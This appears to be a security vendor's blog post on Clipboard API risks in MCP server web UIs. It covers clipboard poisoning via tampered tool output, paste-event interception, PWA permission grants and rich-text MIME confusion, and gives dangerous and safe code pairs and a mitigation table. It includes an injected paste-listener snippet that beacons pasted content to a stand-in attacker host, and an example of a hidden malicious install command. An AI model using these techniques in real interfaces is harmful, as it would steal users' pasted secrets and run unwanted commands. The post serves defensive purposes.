Blog · MCP Server Security
MCP server Clipboard API security — clipboard data poisoning via tool output, clipboard read without user gesture, clipboard event interception, and permission model
MCP UIs routinely provide "copy" buttons that write tool results to the clipboard for user convenience — copy a code snippet, copy a generated command, copy an audit report excerpt. The Clipboard API's navigator.clipboard.writeText() writes exactly what the calling code provides, which may differ from what the UI displays. A malicious MCP tool can inject content into clipboard writes, poisoning the clipboard so that the user pastes something different from what they copied. Paste event interception reads clipboard content without the clipboard-read permission in all major browsers.
Clipboard data poisoning: what you copy is not what you paste
Clipboard poisoning exploits the disconnect between what is displayed in the UI and what is written to the clipboard. In an MCP UI that renders tool output in a code block and provides a "copy" button, the button handler calls navigator.clipboard.writeText(toolResult.code). If toolResult.code is different from the rendered text — because the MCP tool returned a tampered payload — the user pastes different content than what they saw.
// Dangerous: writes the raw field from tool output — not the sanitized display value
async function copyToClipboard(toolResult) {
await navigator.clipboard.writeText(toolResult.rawCommand);
// toolResult.rawCommand might be: "npm install legitimate-package\nnpm install malicious-package"
// The display shows only "npm install legitimate-package" (renders only the first line)
// But both lines are written to clipboard
}
// Safe: write the sanitized display text, not raw tool output
async function copyToClipboard(displayElement) {
// Read the TEXT that is actually displayed to the user
const displayedText = displayElement.innerText;
await navigator.clipboard.writeText(displayedText);
// What the user sees = what they copy
}
Attack scenario: MCP tool returns a shell command with a newline-separated second line containing a malicious command. The UI renders only the first line (display truncates at newline). The "copy" button writes both lines to clipboard. User pastes into their terminal and executes both commands. The second command runs silently after the first.
Paste event interception without clipboard-read permission
Reading the clipboard via navigator.clipboard.readText() requires the clipboard-read permission, which must be explicitly granted by the user. However, the paste event fires on any focused element when the user pastes, and the event.clipboardData.getData('text/plain') method on the event is available without any permission. Any script that can add a paste event listener to a focused input element can read the clipboard content when the user pastes:
// Injected script in MCP UI (via XSS in tool output rendered without sanitization)
document.addEventListener('paste', (event) => {
const pastedContent = event.clipboardData.getData('text/plain');
// Silently exfiltrate — no clipboard-read permission required
navigator.sendBeacon('https://attacker.com/exfil', pastedContent);
}, { capture: true }); // capture phase — fires before page handlers
This attack requires script injection into the MCP UI page. The defense is not clipboard-specific — it's XSS prevention. But the impact is higher for MCP UIs because users frequently paste sensitive data (API keys, tokens, credentials) into tool input fields.
clipboard-read permission: silent grant in PWA contexts
In a browser PWA (Progressive Web App) context where the MCP UI is installed and trusted, some browsers grant the clipboard-read permission more permissively than in a normal browsing context. On some Android PWAs, the clipboard-read permission may be auto-granted when the app is in focus, without a permission prompt. This means that MCP code that calls navigator.clipboard.readText() may succeed silently in an installed PWA context where it would show a permission prompt in the browser tab.
// Check permission state before reading — do not assume denial
async function readClipboard() {
const permissionStatus = await navigator.permissions.query({ name: 'clipboard-read' });
if (permissionStatus.state === 'denied') {
return null; // user denied — respect it
}
// 'granted' or 'prompt' — attempt the read
// 'prompt' will show a permission dialog in supported browsers
try {
return await navigator.clipboard.readText();
} catch {
return null; // user declined or API unavailable
}
}
ClipboardItem MIME type confusion
The newer ClipboardItem API allows writing multiple MIME types to the clipboard simultaneously — the OS clipboard can hold text/plain and text/html representations of the same content. Applications paste the richest format they support. An MCP UI that writes a "safe" plain-text representation in text/plain but also writes a rich HTML representation in text/html that contains unsanitized tool output may expose the HTML representation to apps that prefer rich paste.
// Dangerous: plain text is safe but HTML representation contains unsanitized tool output
await navigator.clipboard.write([
new ClipboardItem({
'text/plain': new Blob([safeText], { type: 'text/plain' }),
'text/html': new Blob([`<p>${toolResult.htmlContent}</p>`], { type: 'text/html' })
// toolResult.htmlContent is NOT sanitized — script tags survive in rich paste
})
]);
// Safe: sanitize HTML representation with the same rigor as display rendering
await navigator.clipboard.write([
new ClipboardItem({
'text/plain': new Blob([safeText], { type: 'text/plain' }),
'text/html': new Blob([sanitizeHtml(toolResult.htmlContent)], { type: 'text/html' })
})
]);
Security comparison: Clipboard API patterns for MCP UIs
| Pattern | Security risk | Mitigation |
|---|---|---|
| writeText(toolResult.rawField) | Clipboard poisoning — writes content different from what is displayed | Write element.innerText (displayed text) not raw tool output fields |
| Tool output with embedded newlines in copy buffer | Multi-line payload pastes injected commands silently after displayed content | Strip or escape control characters before clipboard write: text.replace(/[\r\n]/g, ' ') |
| paste event listener reads clipboard silently | XSS in tool output installs persistent clipboard reader — no permission needed | Prevent XSS in tool output rendering (root cause); sanitize before innerHTML |
| ClipboardItem with unsanitized text/html | Rich paste target receives HTML containing unsanitized tool output including scripts | Sanitize HTML representation with the same rigor as display rendering |
| clipboard-read called without permission check in PWA | Permission silently granted in installed PWA contexts — reads user's clipboard without prompt | Check permission state before reading; log clipboard access for audit trail |
SkillAudit findings
toolResult fields rather than the sanitized text displayed to the user. Tool server returns a multi-line payload where the second line is an injected command; only the first line is rendered; both lines are written to clipboard. −18 pts
innerHTML without sanitization. Injected script adds a capture: true paste event listener that silently exfiltrates clipboard content on every user paste — no clipboard-read permission required. −16 pts
ClipboardItem writes text/html representation using unsanitized tool output. Rich paste target (email client, word processor) receives HTML including script tags or CSS injection from tool result. −12 pts
\r, \n, \t, ANSI escape sequences) not stripped from clipboard writes. Terminal paste of a shell command executes multiple injected commands. −10 pts
See also: MCP server Web Share API security (sharing sensitive tool output) · MCP server MutationObserver security (DOM exfiltration from tool output)